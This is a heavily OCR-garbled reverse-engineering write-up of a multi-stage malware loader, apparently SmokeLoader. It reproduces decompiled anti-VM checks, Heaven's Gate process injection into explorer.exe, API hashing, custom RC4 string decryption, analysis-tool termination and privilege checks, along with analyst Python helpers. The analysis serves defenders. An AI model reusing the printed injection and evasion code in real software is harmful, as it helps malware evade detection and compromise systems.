004024e= align align(3) 51| *param_l

52 | Apev +

Another check used by the malware is to check in the Registry Tree for device and drivers if it
contains anything related to Virtual machines. It Opens the Registry keys
SYSTEM\CurrentControlSet\Enum\IDE and SYSTEM\CurrentControlSet\Services\Disk\Enum\SCSI
using NtOpenKey and gets and the number and sizes of its subkeys using NtQueryKey
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L — SN Y ) O T O
undefined Stack[0x8]:1 paran_2
undefined Stack[0xe]:1 pazam_3
underined Stack(0x10]:1 param_4
API_HASH_ORDER * EBX:4 unars_EBX
;4_checkforSandboxorAvastdll's HREF([1]: 00402443 (c)
00802421 rop EST
- LAB_004024£2 KREF[1]: 00402506(9)
00402422 cup byte pre [E51],0x0
| ovanzess a2 LAB_00402508 =l
H 00402457 PUSH EST =
! 00402418 caLy dword ptr [EEX + unaff EEX->GetModuleHandleh] =
! 0040240 TEST ERX, EAX
' 0040241d mz LAB_0040271e
1 00402503 ADD ESI,0x8
| 00402506 aup LEB_004024£2
[, LRB_00402508 MREF[1]: 00402425 (1)
00402508 cary mi_antivm
00402504 unicode  u"\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IE"
00402575 unicode  u""
00402577 unicode  u"\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\SCSI"
0040251 align align (1)
, FUNCTION .
undefined _stdcall mu_antivm(void)
undetined aL:1 <RETURN>
API_HASH_ORDER * EBX:4 unags EBX
2_antivm AREF(1]: mu_checkforSandboxe
00802522 rop EST
- LAB_ 0040253 HREF(1]: 00402717 (3)
00402563 cup byte prr [EST],0x0
v 0040256 7z LRB_0040271c
N 7 LAB_0 v

pwWarl =
X (HLOCAL *) (un
(*{code *jun
{*(code *)unas

* (undefinedd
* (undefinedd
*{int ) {ur
* (undefinedd
* (undefineds
* (undefinedd

(** (code *)
o

if (4 (int 4)
=
* (HLOGAL *
(o

* (undefi
for (uVar
(44 (co

if (*(
*in

* (HL

ivar

- -
>LocalAlloc) (0x40,05104) 5
EEP + -0x18)
_EEX->latrcatw) (pv
£ £Ex->RellnitUnicodeString) {unafs + -0x3c, ¥ {undefinedd *) (unaff + -0x18))
= 0x18;

=0;
££_EBP + -0x3c;
= 0x40;
+ -0x24) = 0;
+ -0x20) = 0;
__EBX->NtOpenKey)
+ -0xlc,9, (undefinedd *) (unaff E

sunaff EBX->NrQueryKey)

{undefinedd *) {unat

(unaff EBP + -0xld) !

*un, EBX->LocalAlloc) (0x40,* (SIZE_T *) (uw

) (unaff_EBP + -Oxc) = pvvarls

*(code *4)sunaff EBX->NtQueryKey)
(*{undefinedd *) (unaff EBP + -Oxlc),2,* (undefinedd +) (unaff EBP + -Oxc),
*{undefinedd *) (una + -0xl14),una + -0x14) 3

0) &8 (¥(int 4) (unaff EBE + -0x14) I= 0)) |

+ =0xlc),2,0,0,unafs

+ -0x14):

0y

EBP

+ -0x1d));

nedd 4) (u EEP + -%) = *(undefinedd *) (*(int ) (unaff E Oxc) + 0x14)7
L= 05 u < A(uint *) (unaff EBP + -8); uVard = uVard + 1) [
de 44} sunat “->NtEnumerateKey)
{*{undefinedd *) (unaff EBP + -Oxlc),uVar EEE + -0x14) 7
int *) (un + -0xld) 1= 0y [
t 4) (unafs + -0xl4) = *(int *) (unafs + -0xl4) + 2
= EBX->LocalBlloc) (0x40,#(SIZE_T *) {unaff EEP + -0xld));

OCAL *) (una + -0x10) = pvVarl;

2 = (¥%(code *)gunaff EBX->NtEnumerateKey)
(*{undefinedq *) (unaff EBF + -Oxlc),uVard,0,
*{undefinedd *) {un + -0x10),
*(undefinedd *) (unaff EBP + -0xl4),unaff ED

0y && (*(int *)(u BE + -0xl4) != 0)) &8

= mw_checkstr(), pul {undefined *)0x0)) {

+ -0x14):

It then uses NtEnumerateKey to get the information about the subkeys and check if this subkeys
contains the strings gemu, virtio, vmware, vbox, xen . These strings are related to Emulators and
Virtual Machines

undef
undef
. int
undef
int
char
undef

char

00401d38
00401d3e
00401d48
00401d4a
0040ldéc

00401dSa
0040ldes
00401d72
00401d74
00401d7€
00401d7e
00401d&Q
00401ds2
0040ldad

undef
API_H

00401das
00401dsé

* FUNCTION *

undefinedd _ stdcall FUN_00401d39(undefinedd * param_l,

inedd EAX:4 <RETURN>
inedd * Stack[0x4]:4 param 1
Stack[0x3]:4 param_2
inedd Stack[0xc]:4 param_3
Stack[0x10]:4 param_4
N Stack[0xl4]:4 param_5
inedd Stack[0x18]:4 param_6
x Stack[Oxlc]:4 param 7
FUN_00401d3% XREF[1]: 00401d28(3)
CALL FUN_00401d85
unicode u"gemu”
unicode "
unicode u""
unicode u"virtio
u 0401dé2 XREF([0,1]: 00401
unicode u"vmware™
unicode u"vbox"
unicode u""
unicode u""
unicode u"xen®
unicode u""
uniceds unr
unicode ur
align align(l)
* FUNCTION *
undefinedd _ stdcall FUN_00401d35 (void)
ined4 EAX:4 <RETURN>
ASH_ORDER * EBX:4 unaff_EBX
FUN_00401d85 KREF[1]:
POF EST
POP EDI

int param 2, undefinedd

FUN_00401d39:00401¢

undefined4 FUN_00401d85 (void)

API_HASH_CRDER *un,
int unaff El
char *

= o

004 = (char *)0x401ds
decrprion_function (0xdd, 0xb, 0x1d12) 7
return *(undefinedd *) (unaff_EBP + -d4);

1

if (iVarl = 0) {
4 (undefinedd *) (unaff EBF + -4) = 07
goto LAB_0040ldea;

1

unaff + Oxe;

} while({ true )i
1

The Next check it uses is to detect Emulators . It Checks Current Process’ File path with AFEA.vmt
using wcsstr this is a Technique called error-based anti-sandbox check. It is explained in detail by

herrcore in

this video
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00402064 CALL decrption_function ~ 1
E-; 2 woid mw_westronAFER.vme (void)
004020689 MOV dword ptr [EBF + -0x4],0x0 Bl
00402070 MOV EBX,dword ptr [EBP + 0x8] ifa
00402073 LEA ESI, [EBP + Oxfffffdf4] Sl int iVarl;
Q0402079 FUSH 0x104 : © API_HASH_ORDER *unaff EBX;
0040207e PUSH I 7 int unaff EBP;
0040207£ FUSH ox0 8
00402081 CALL dword ptr [EBX + 0x20] 1 || & iVarl = (**{code **)sunaff_ EBX->wcsstr)():
LAB 0040208442 XREF[0,1]: FUN_0040204c:00402 ==|010| if (ivarl t= 0) {

00402084 CALL mW_westronAFER. vmt : 11 *{undefined4 *) {unaff EBP + -4) = 17
00402089 wcharlé[&] w"AFEA.vmt" =2 }

00402089 41 00 wcharlé u'h 0] 13 FUN_004020ba():

0040208k 4€ 00 wcharlé u'F [11 14 return;

00402084 45 00 wcharlé u'E’ 2] 15}

0040208£ 41 00 wcharlé u'a’ [31 16|

00402091 2e 00 weharlé u'.’ [4]

004020983 76 00 wcharlé u'v' [5]

00402095 6d 00 weharlé u'm' [6]

00402097 74 00 wcharlé u't’ [71
00402099 align align(2)

Injection of Third Stage using Heavens Gate Technique

The Malware First Checks if it's running on a 64 bit or 32 bit System by looking at the GS Register
because GS is non-zero in Win64 and In a 'true’ 32 bit Windows GS is always zero.. If it's running on
a 64 bit System it uses Heavens Gate technique .“Heaven’s Gate” is a technique used to run a 64-bit
code from a 32-bit process, or 32-bit code from a 64-bit process .To know more about this technique |
request you to refer this article

Here it is used to run 64-bit code from a 32-bit process for Injection of the Third Stage. If the System
only supports 32 bit it Executes the Code shown in the Below Image
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La gau_wo i= owup g
Stack_38 = 1;

}

while (pHStack €0 = (¥api struct->GetShellWindow) (), pHStack 60 == (HWND)OxO0) |
{*{code *)japli struct->S5leep) (1000}

}

pvStack €4 = [HRANDLE)Ox0O;

(*(code *)api_struct->GetWindowThreadProceasId) (pHStack o0, epvStack_d4);

if (pvs k_ &4 !'= (HANDLE)Ox0) |

Stack_34.UniqueProcesa = pvitack 64;

_Stack_34.UnicqueThread = (HRNDLE)OxO;

{(*{code *)api_ struct-:>RtlZeroMemory) ({char)se Stack 2c,0xl8);

k_Z2c.lLength = Oxl&;

> = (*apil_struct->NtOpenProceas) (epvStack_14,0x40,& Stack_Zc,&_Stack_34):

== 1) &&
5 = (*({code *)api_struct->NtDuplicatelbject)
(pvStack 14, 0xfEfELELf OQuELLLLLLSL epwStack 10,0,0,2), iVar3 == 0)) {
cco=0; - -
k_S0 = Qf
iStack 54 = 0xS5000;
iVar3i = (*(code *)api_ scrucc->NeCreateSection) (euStack 58,6,0,&i5vack _54,4,0,0);

if (iVar3 == 0) |

iStack 3c = iStack 547

M ck 48 = (LPWSTR)Ox0;
iVar3 = (¥ ({code ¥)api_struct->NtMapViewlfSection)

(uStack_58,0xffffffff,epWStack 458,0,0,0,&i5tack_3c,1,0,4);
1f {iVar3i == 0} |{
pv3tack_40 = (PVOID) 0x0;
iVar: = (% ({code Y)api struct->NtMapViewOfSection)
(uStack_s8,pvitack_l0,epvitack 40,0,0,0,&15tack_J3c,1,0,4);

pHVarl = pWStack 48;
if (iVard == 0} |

{(¥apli struct->GetModuleFileNameW) ( (HMODULE) Ox0,pWStack 48,0x104);

¥{undefinedd *) (pWVarl + 0xl04) = param_ 4;

iStack c = iStack c + 1;

}
iStack 54 = param 3 + Ox10000;

uStack 50 = 07

iVar3 = (*([code *)api_ struct-:NtCreateSection) (suStack 5c,0xe,0,&iStack_54,0x40, 0x2000000,0) 7
if ({iVar3 == 0) && (iStack c != 0)) {
iStack S4:

k d4c = 03

¥
I
i

iVari = (%{code "japi_ struct->NtMapViewDfSection)

{(uStack_5c,Oxffffffff, eiScack 4c,0,0,0,&i5cack 3c,1,0,4);
if (iVar3 == 0} {
iStack 44 = 0O
1Faw - Tk Fmmds Wb zmd sreoasar _sWlellarmdlf oofAf@Se ard am b v

The third Stage is injected to explorer.exe. It uses GetShellWindow and GetWindowThreadProcessld
to get the process ID of explorer.exe. It then uses NtOpenProcess and NtDublicateObject to create a
duplicate handle for explorer.exe. It then creates a section then Maps the same section to malicious
process and explorer.exe. Another section is also created and this process is again repeated. The
third stage is then written to this section in the malicious Process. Since explorer.exe also has the
same section mapped it will also have the third Stage in it's Memory.
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00401801 ADD

= —| 110 = (undefined *) (*{(int *) (iVar7 + 0xl4) + (int)_r
00401804 EOP e + Oxc) + 1Stack_
00401805 LCOP LAB_004017¢b Bl + -1
00401807 1293 ESI B
00401808 =73 dword prr [EBP + -0x3d],0x0
0040180¢ Jz LaB_00401874
0040180e CALL LAB_00401813
XREF([1]: 0040180e(*) l

00401813 EOE g
00401814 SUB
o004018la MOV == 0] {
004018l MOV {int *) ({int)_param 2 +
o0d018le ADD |22 (4nt 4) (*{int *) ((int) ac)s
00401924 ADD 124
00401822 MOV | e
0040182¢ MOV 5 126
o040192e ADD EAY, 0x2fal 127
00401833 EUSH oOxlad =]
00401833 PUSH EBX 129 Vard + 2);
00401939 CALL payload_decryption 130 & 0x3000) t= 0) {
0040183 MOV A%, dword ptr [EEE + -0x40] 131 (10t *) ((*(ushort *) Stack_dc + 1vare)
00401841 HOV 132 = ¥piVard - (ivar? -
00401843 MoV EDX, dword ptr [EBP + -0x48] 133
00401846 CALLF 0x33: 0x0=>5UB_00000000 b=
0040184d MoV 135
0040184 MoV 136
00401851 ADD 137
00401857 ADD EDX, 0x 138 (HANDLE) 0x0;
00401854 MoV dword ptr [EDX],EC 139 >RelCreateUserThread)
oo4018ss MOV EAX, dword ptr 140 a ,0,0,0,
00401862 RLD 141 (PVOID) (* (int *) ({int)_param_2 + iVar3 + Ox28) + iStack_44),pvStack_d0,
00401865 MoV 142 epvStack_8,0)7
00401268 MOV EDX, dword ptr 143 }
0040186b CALLF 0x33: 0x0=>SUB_C 144 else [
00401872 TP LAB_004018d5 145 uRam00401847 = 0xd02fal;

146 payload_decryprion (0xal,0xlad):

- LAB_ 00401874 KREF[1]: 0040180c{3) 147 arll = 0xB3;

00401874 PUSH ESI 148 fune_0x00000000 (ir
00401875 MOV EDX,dword ptr [ESI + 0x34] 149 URam0040186¢
00401878 SUB. ¢, dword ptr [EBP + -0x40] 150 func_0x00000000
0040187b LEA ESI, [EST + 0xaC 151 } -
00401881 MOV ,dword ptr [ 152 )
00401883 aDp EST,dword ptr [ESP + -0x43] 153 )

154 }

B LAB_00401886 KREF[1]: 004018k1(3) 158 )

00401886 =73 dword ptr [EST], 0x0 156 }
00401889 Jz LAB_004018b3 ke 157 decrption_function(0x387,0x33,0x15ad) 7

Then RtlCreateUserThread is used to Execute the Malicious third stage from explorer.exe’s address
space

if the System supports 64 bit. It Decrpyts the 64 bit code for Injection and uses heaven’s gate
technique technique to excecute this. The process of Injection is same for Both. In the below images
you can see the 64 bit code which dynamically resolves RtlCreateUserThread API and it is then used
to Execute the malicious third stage from explorer.exe’s address space
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lvary = =(longlong *)
(*(longlong #*)(*(longlong *)(x(longlong *)(unaff_GS_OFFSET + 8x60) + 6x18) + Ox30) + 0x10
if (lvard != 8) {
RtlCreeateuserThread = FUN_0B000000;
pcVars = FUN_B0000000;
uvar3 = »(uint *)(Culonglong)*(uint *)(1Vard + 8x3c) + OxB88 + WWard);
if Cuvar3 != @) {
lvarl = lard + (ulenglong)uVar3;
uvars = (ulonglong)(*(int *)(1lVarl + 6x18) - 1J;
do {
ivaré = 8x1505;
pbvar7 = (byte *)((ulonglong)
#(uint *)(Culonglong)*(uint *=)(lVarl + ©x28) + Llvard + uVars * 4) + Llvard)

do {
bvar2 = =pbVar7;
ivaré = iVaré * @x21 + (uint)bvar2;
pbvar7 = pbvar7 + 1;
} while (bvar2 != 8);
if (ivaré == 8x22dd8s5u2) {
/* RtlCreateUserThread =/
RtlCreeateuserThread =
(code #*)((ulongleng)
*Cuint *)((ulonglong)*(uint *)(lvarl + 8xlc) + lvard +
(uvars & BxfFifffffrfffonen |
Culonglong)
#{ushort *)(Culonglong)*Cuint *)(1Varl + 6x24) + 1lVard + uVar5 » 2)
) % 4) + lvard);
}
if (ivaré == -0x886eefl) {
pcVar8 = (code *)((ulenglong)
*(uint *)(Culonglong)*(Cuint *)(1lVarl + @xlc) + lVard +
(uvars & Oxfffffffrffffooon |
(ulongleng)
*«Cushort =)
((ulonglong)#*(uint #)(lVarl + 0x24) + LVard + uVarS = 2)) = 4)
+ lvard);

} while (((RtlCreeateuserThread == FUN_00000008) || (pcvarg8 == FUN_06000000)) &&
(uvars = uvar5 - 1, uVars != 0));
if ((RtlCreeateuserThread != FUN_20000000) && (pcVar8 != FUN_02000000)) {
local_ue = auStack_86;

local_6@ = @;
local_58 = 0;
local_38 = 0;
local_u8 = param_1;
uStack_3e param_2;

uStack_28 = param_1;
/* start adress26albld ,parameter 31beee =/
(*RtlCreeateuserThread)(param_2,0,08,0);

To get the third stage you can set the GS register to 0 in the debugger at the time of injection, set
shareMode to FILE_SHARE_READ (0x00000001) when opening handle to ntdll.dll and defeat all the
Anti-Analysis techniques mentioned to get the third Stage in explorer.exe and dump it. You can aslo
get the entrypoint of the function if you look at the parameters of the RtlICreateUserThread

Stage 3

The Main objective of this stage is to Decrypt C2 URI Communicate to C2 and Download the Final

payload. This stage is also responsible for Persistnace of the Malware

Dynamic API Resolving using APl Hashing

Third stage of the malware has a Different set of API resolving . it uses ROL8 hashing you can see

the algorithm in the below image
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jaint hashing_algo(byte *param_1)

undefined hashing alge ()

B:
Ba
FUNCTION == 1N
[ bVarls
=4[ ~
undefined AL:1 <RETURN> =
hashing_algo KREF(3]:  mw_Checkifebrocesst  MM|le | uva :
mi_EnuriinowsCallbe  W|19 pazam_1
api_hashing:ooooace’ | “=iall 10 arl 1= 0) {
coonsled MOV AT, byte pex [RCH] 11 warz = ((BVarl & Oxdf A wihra) << & | wWarz >> 0x18) + (wine) (bVarl s Oxds)s
00005166 MOV RE, RCX 12|  param L = param 1 + 1
0000518 XOR EDE, EDX 13| DbVarl = *param 1:
000051ch JMP LAB_000051e3 14/ )
15 return uVarl;
LAB_000051cd XREF[1]: 0000515 (3) 16}
0000Sled  AND AL, OxdE 17
oooosles  Movex ECK, AL
coopsidz MoV EAX,ECK
J00051d4 XOR
o0oDsSldE MOV
000o0s1de ROL
000051db  ADD EDE, ECE
000051dd INC R8
coooslen MoV AL,byte ptr [R9]
LAB_000051e3 KREF[1]:  000051eb (i)
000051e3 TEST AL,AL
00005125 mz LAB_000051cd
000051e7 MOV EAX, EDK
000051es RET
000051ea ?? CCh

It uses this Hashing Algoritm to resolve APIs in multiple DLLs’ (kernel32, ntdll, user32, advapi32,
ole32, winhttp and dnsapi)

LA PR L ORLWRA LR ) S LS TESE | L] sl o g Tl " L iy J S LINBYTIR AT [ L] s ATLE LS ™ W) aa
(uarl = apil_resolving(imagebase, * (longlong *)eimagebase[l].ntdll, (uint *)entdllhashes,
{longlong *)&imagekbase->RtlGetlastWin32Error), (int)uVarl != 0)) {

uVarl = api resolving(imagebase,* (undefined® *)gimagebase[l].kernel32,skernelilhashes,
{longleng *)&imagebase->LoadLibraryh):
if ({intjuVarl !'= 0) {
uvars = Q7
uVarl = (%% ({code **)gimagebase->RtlCreateHeap) (0xl1002,0,0,0,0,0);
imagebase->field3l06_0xc2k = uVarl;
plVard = (longlong *)simagebase[l].field Ox£0;
do {
uVarl = mw_StringDecryptionMain{imagebase,uVars + 7);
lVarZ = (%% {code *%)gimagebase->Loadlibraryl) (uVarl);
Fplvard = 1Var2;
if {1Var2 == 0) {
return 07
}
mW_wrap freeHeap (imagebase,uVarl):
uvarth = uVart + 1;
plVard = plVard + 1
} while {uVari < &);
uVarl = api_resclving(imagebase, * (undefineds *)e&imagebase[l].field_0xf0, suseriZhashes,
{longlong *)
Limagebase->
ForamtedDatalOfMDoHashofformattedData_Contaiing ComputerNamesVouleInfrom
ation
)i
if {({{{int)uVarl !'= 0) &=&
{uVarl = api_ resolving{imagebase,* {undefineds *)scimagebase([l].field_ Oxf8, sadvapi3Zhashes,
{loenglong *)eimagebase->f£1eld3549 Oxedf), (int)uVarl != 0)) =&
{{uVarl = api_reaclving(imagekase, ¥ (undefined? *)simagebase([l].field 0x108,
{uint *)s&cle3lhashes, (longlong *)simagebase[l].£field_0Ox18),
(intjuVarl != 0 &&
({{uVarl = api_resoclving(imagebase, * (undefinedd *)s&imagebase([l].field 0x110,
{uint *)sewinhttphashes, (longlong *) simagebase([l].field_0x38),
{intjuVarl != 0 &&
{(uVarl = api_resclving(imagebase, ¥ (undefinedd *)simagebase([l].field Oxl20,
(uint *)&dnsapi.dll, (longlong *)&imagebase[l].field_Ox58),

You can use the below code to get the Hashes of the APIs used in Third Stage

def stage3ApiHashing():
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api_list = []
hasher = 0
for api in api_list:
hasher = 0
for i in api:
i = ord(1)
i= 1i & oxdf
saved_val = i

hasher = hasher A saved_val

hasher = rol(hasher, 8)

hasher = hasher & OXFFFFFFFF

hasher = hasher + saved_val

hasher = hasher & OXFFFFFFFF
hasher = hasher N 0x38127ba6
hasher = hasher & OXFFFFFFFF

print(hex(hasher))

hasher2 = hex(hasher)[2:-1]

while len(hasher2)!= 8:
hasher2 = "0"+hasher2

print(api+" : "+hex(hasher))
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Encrypted Strings

The Important Strings in the third Stage are Encrypted in a custom rc4 encryption algorithm. The
Encrypted string is Stored in the Format of DataSize:Data

byte * mw_StringDecryptionMain{astruct *imagebase,uint offset)

byte
byte
uint u
uint uVars

undefinedd key [2]:
byte enc_data_length;

pbVarl = saencrypted_string;

uvar3 = uvVarz;

while{ true ) {
enc data lenath

lata length = ¥pbVarl

if (en lata length !s Q) [

if (uVar2 == gffset) break;

= uWard + 1;
pEVarl = pkVarl + (int) (enc data length + 1);
if (799 ¢ uVar3d) {

return (byte *)0x0;

enc_data = (byte *)mw wrap allocate heap(imagebase,enc data
{* {code *)imagebase->RtlMoveMemory) (enc data,pbVarl + 1,2 1
rcdDecryption (enc_data, {longleong) key, {(ulonglong)enc_data_length, 4);
return enc_datap

o b D M 0D -] U W L B D W 0D ] S DA e e B D
[
E
F
L
I
[

When it Comes to the custom rc4 algorithm. The key Stream Generation is Different from the default
rc4 algorithm the below image shows the decompiled view of the custom rc4 decryption algorithm
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Decompile: rcdDecryption - (explorer_00000000032F0000, Bin)

ulonglong uVard;

pbvVaré = local 108;
pbVarT = local 108;
uVars = 0;
uVarZ = enc_datalength & OxXELELEEfE;
uVard = uVars;
do |
‘phvare = ([char)uVard;
uVard = (intjuVard + 1
uVard = (ulonglong)uVar3;
pbWVaré = pkbVaré + 1l;
} while (uVar3 < 0xl00);
uVard = uvars;
uVars = uVar5;
do |
EVarl = YpkVarT;
uVarZ = uVard % {ulonglong)keylength;
uVari = (intjuVard + 1;
uVard4 = (ulonglong)uvVari;

¢

uVard = (ulonglong) { (uint) *(byte *) (uVar2 + key) + (int)uVar9 4+ (uint)bVarl & Oxff);

‘phbVar7 = local 108 [uVard]:
pbVar? = pbWVarT + 1;
local 108 [uVar9] = bVarl;

} while (uVar3d <« 0xl00):

uVard = uVarSy
if ({intjuVars != 0) |
do |

uVars = {ulonglong) ({(int)uVars + 10U & Ox£f);

bVarl = local 108 [uVarsS]:

uVard = [ulonglong) ({int)uVard + (uint)bVarl & Oxff):

lul.'ﬁ.l_l'.': [L,I‘vrnI.El] - lul\_'nl_l'_'i: [u1vrﬁ14] H

local 108 [uVard] = bVarl;

*enc data = *enc data ~ local l10S8[(byte) (local 108 [uVars]

enc_data = enc_data + 1:
uVars = uVars - 1;
1 while (uVarZ = 0}:

+ bvVarl)]:

| Have Converted it to python Here is the code to Decrypt the Strings

def key_scheduling(key):
sched = [1 for i in range(0, 256)]
i=0
for j in range(0, 256):

i = (i + sched[j] + key[]j % len(key)]) % 256

tmp = sched[j]

sched[j] = sched[i]

sched[i] = tmp
return sched

def streamXor(data, key, data_len,key_len, shed):

counter = 0

i=0

j=1

while data_len !'= 0:
i=i+1
i =1 & OXFF
temp = shed[i]
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temp = temp & OXFF

j =73+ temp

j = j & OXFF

shed[1] = shed[]j]

shed[j] = temp

shed_swap = shed[i] + temp

shed_swap = shed_swap & OXFF

data[counter] = data[counter] N shed[shed_swap]
counter = counter +1

data_len = data_len -1

return data

def customrc4(data, key, data_len,key_len):

shed = key_scheduling(key)

final result = streamXor(data, key, data_len, key_ len,
shed)

print(final_result)

def main():
data = bytearray(b'\xb2\x16\x17\x9f\x23\x37")
key = b'\x29\xc5\xbd\xe6'
customrc4( data, key, 6, 4)

main()
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The Decrypted Strings of the Third Stage can be seen in the Below Image
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SmokeloaderCFGEDeckfucacate.py> Running. ..
htepa: //dns.google/resolvesname=microacft.com
Software\Microsoft\Internet Explorer
advapi32.dll

Location:

plugin size

explorer.exe

useri2

advapii2

urlmon

ole32

winhttp

we2 32

dnsapi

shell3z

shlwapi

svcVersion

Veraion

kit

§sFF

§02x

TaR08XR0EY

%3\ %hs

$3%s

regavr3d /s §s

RAPFDATAY

$TEMF%:

«EXe

»dll

At

:Zone.Identifier

POST

Content-Type: application/x-www-form-urlencoded
opEn

Host: %s

PT10M

189589-11-30T00:003:00

Firefox Default Browser Agent %kha
Rocept: AfW

Referer: http://%5%s/

Accept: ¥/¥

Referar: httpa:// %5%a/

. COm

.org

.net

Analysis Tools Check

This Stage Checks if the system is running Analysis tools by looking at the Process name and
Window Class name

In the Below Image you can see the Malicious process Gettting the Name of all the Processes
running, Calculates their Hashes using the algorithm used in Stage 3(ROL8 hashing ) and Check it
against Hashes of Analysis tools shown in the image below. If they match, that Process is Terminated
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cessExistandTerminateit - (explorer_00000000

forer 000000000327 0000, i @515 0 [ [ G- (x|

autoruns.exe XREF[2]: mw_CheckifaProcessE A
PrcoessiameHashed mw_CheckifaProcessE I g
20001140 ddw 3C17ADCER - =l
H (|10 undefinedd local 130;
procexp.exe KREF[1]: mw_CheckifaProcessE 11/ undefined local lOc [260]
00001144 ddw 992E4331h = 12
13| iVarl = ¥(int *)sparam l->antiVmCheckFalg;
procexpéd.exe B de
00001148 ddw 4ECAGE24h i if (iVarl == 0) [
18] /% WARNING: Could not recover jumptable at Ox
procmon.exe 17| /% WARNING: Treating indirect jump as call */
0000114e ddw S910F443Fh 18 {*(code *)param_l->ExitThread) (0);
19 return;
procmonéd .exe 20 }
00001150 ddw 4DDE0EFSh 21 1Var3 = (**(code **)sparam l->CreateToocolHelp32S5SnapShot) (2);
00001154 ddw 8C20593Eh 22 if (1var3 l= -1) {
23| iVar ** *¥)gparam_1->Process32First) (1Vars):
Wireshark.exe 24 =0 {
00001158 ddw 4DLAFCESh 25 hashing_algo(local l0c)y
0000115¢ ddw 26| = &PrcoessNameHashed;
27
01lyDbg.exe 28
00001160 ddw 87006331h 28 if (*pdVard == (uVar2 ~ 0x38127baé)) {
30 mw_terminateProcess (param_l, local 130);
%32dbg . axe 31 break;
00001164 ddw 1A6ELC2Dh 24 !
33 + 15
x64dby . exe 34 1 = 1;
00001168 ddw 246E112Rh 35 | while (uVarS < Oxf):
0000116c ddw 36 iVarl = (**{code **)sparam_l->Process32Next) (1Var3);
00001170 ddw 66005055 37 1
00001174 ddw £39BB1FAR 38| (*(code *)param l->CloseHandle) (1Var3):
00001178 ddw 59B1B1FAh S
0000117e 22 00k 40 (*{code *)param_l->Sleep) (100);
00001174 22 00k 41 iVarl = *(int *)sparam_l->antiVmCheckFalg:
0000117e 27 0ok 42 |} while( true );
........ . ~ a3l

There is an Additional Check Which get the Class Name of all top-level windows on the screen. It
then Calculates their Hashes using the algorithm used in Stage 3(ROL8 hashing ) and Check it
against Hashes of Analysis tools shown in the image below. If they Match, the Process related to that
window is Terminated

Autoruns XREF([2]: mw_EnurWinowsCallbs A 1
hashedWindowsClassName mw_EnumiWinowsCallbs 2 lundefineds mw_EnumWinowsCallback{undefined® param_l,astruct *param_2)
30001050 ddw BOA4OB3h E= 3
= Mg
PROCEXPL+3 XREF[1,2]: mw_EnumWinowsCallbe S | int iVarl;
PROCEXPL €| uinc uv
7 dword *
00001054 ddw 2737€R240 | || & uint uv;
B9 | undefineds local reslo ([6):
PROCMON_WINDOW_CLASS 10 undefined loc 18 [272];
o0ogoloss ddw 11
XREF[0,1]: mw_wrap_api_resolvi 12| iVarl = (*4{code *)sparam 2->GetClassNameR) (param 1,lccal 118):
0000l05¢c ddw 13( 4if (iVarl !=0) {
00001060 ddw 14 uVar2 = hashing_algo(local _118);
18| pd hashedWinfiowsClaastame ;
164+3) KREF[0,1]: mw_wrap_api_resolvi 14| uVard
17 do |
00001064 ddw 18| pdvard me (uVarz ~ 0x38127baé)) [
00001068 ddw it local_resl0[0] = 0;
KREF[0,1]: me_wrap_api_resolvi 20 (**{code **)sparam_2->GetWindowThreadProcessld) (param_l,local_resl0)s
0000106 ddw 21 mwW_terminateProcess(param_2,local res10[0]);:
22 recurn 1;
shlwapi.dll KREF[1]: me_wrap_api_resolvi 23 }
00001070 ?? CDh Pathhppendh 24
00001071 22 43h c 25| PV
oooola7z 2? 0€h 26| } while (uVard
00001073 27 €3h h 27 1
00001074 22 27h ' Pathhppendd 28 return 1
00001075 2? 55h U 29(}
00001076 2?7 0¢éh 30|
DAT_00001077 KREF[1]: mW_wrap_api_resolvi
00001077 7 €&h h
00001078 22 33n 3 PathCombineR

Previliges Check

The Same Previliges Check done in Stage 2 is done again Stage 3. The Malware Check if it’s running
with Higher Prviliges using this API Call’'s OpenProcessToken-
>GetTokenInformation(TokenlIntegrityLabel)->GetSidSubAuthority It is Checking if the Integrity level is
above 0x2000 (SECURITY_MANDATORY_MEDIUM_RID ) If the values greater than 0x2000, it is
high integrity. If the user is local admin, but a process was executed normaly, you have the medium
integrity Level. If the user clicks run as administrator you would have 0x3000.
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Y

2 undefinedd mw_get3idSubhuthorityofCurrentProcess(astruct *param 1)

3

4

5 int iVarl;

& _TOKEN MANDATORY LABEL *TOEEN MRNDATORY LABEL:

7 char *3idSubluthorityCount;

g undefinedd *SidSubluthority;

9 undefinedd uVarz;

10| int local_resd [2];

11| undefined® currentProcessToken;

12

13 uVarz = 0;

14| local_resS8[0] = 07

15 ivarl = ([¥%{code *“¥)gparam l->OpenProcessToken) (OXEfEFFfEEfErefeff, 8, acurrentProcesaloken);
16 4if ({(iVarl '= 0) {

17 (**{code **)sparam_l->GetTokenInformation) (currentFrocessToken, 0xl%,0,0,local_resd);
18 TOKEN MANDATORY LABEL =

145 (_TOKEN MAWDATORY LABEL *)mw_wrap_allocate_heap(param 1,local resS[0] + 1):

20 {**{code **)sparam_l->GetTokenInformation)

21 [currentProcessToken, Tokenlntegritylevel, TOKEN MANDATORY LABEL,local res2[0],
22 J....l.'::l_]’.l:.j-‘_J H

23 SidSubluthorityCount =

24 {char *) (**({code *¥)gparam l->GetSidSubAuthorityCount) {(TOKEN_MANDATORY LABEL=>Lakel).S5id);
25 S5idSubButhoricy =

26 {undefinedd *)

27 (*¥{code *¥)gparam_ l->GetSidSubAuthoricy)

28 { (TOKEN_MANDATORY LABEL->Label).Sid, *SidSubluthorityCount + =-1);

29 uVarz = *SidSubluthority;

30 (* {code *)param_ l->CloseHandle) (currentFrocessToken);

31 mw_wrap_ fresHeap(param 1, TOKEN MANDATORY LABEL):

32 1

33| return uVari;

34[}

Mutex Check

The Malware Uses the Computer Name and Volume Infromation to a Create a Formatted Data which
is used as a Seed to Create an MD5 Hash with these Values. These Values is used in Multiple Places
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woid mW_wrap CreateMDShashCfformattedData_Contaiing ComputerNamesVolumeInfromation
(astruct *param l1,longlong param 2)

undefinedsd formattedData Contailing ComputerNamesVoulelnfromation:
longlong lVarl:

uint VolumeInformationofSysDirectory [2]7

int local resls [4]:

ulonglong uVarl;

undefined pComputerlName [16]7

local_resl2[0] = Oxl0r
(*{code Y)param_l->»GetComputerNameld) {pComputerlams, local reslif);
(* {code *)param_ l->RtlMoveMemory) (saparam l->field 0x235,plomputerlame, (longlong) local resalS[0])
uvarz = 0;
(*{code *)param_l->GetVolumeInformationd)
{¢param l->field Oxc27,0,0,VolumeInformationofSysDirectory,0,0,0,0);
formattedData_Contaiing ComputerNamesVouleInfromation = mw_wrap allocate_heap (param 1, 0x21);
AYOF3%08KF08K
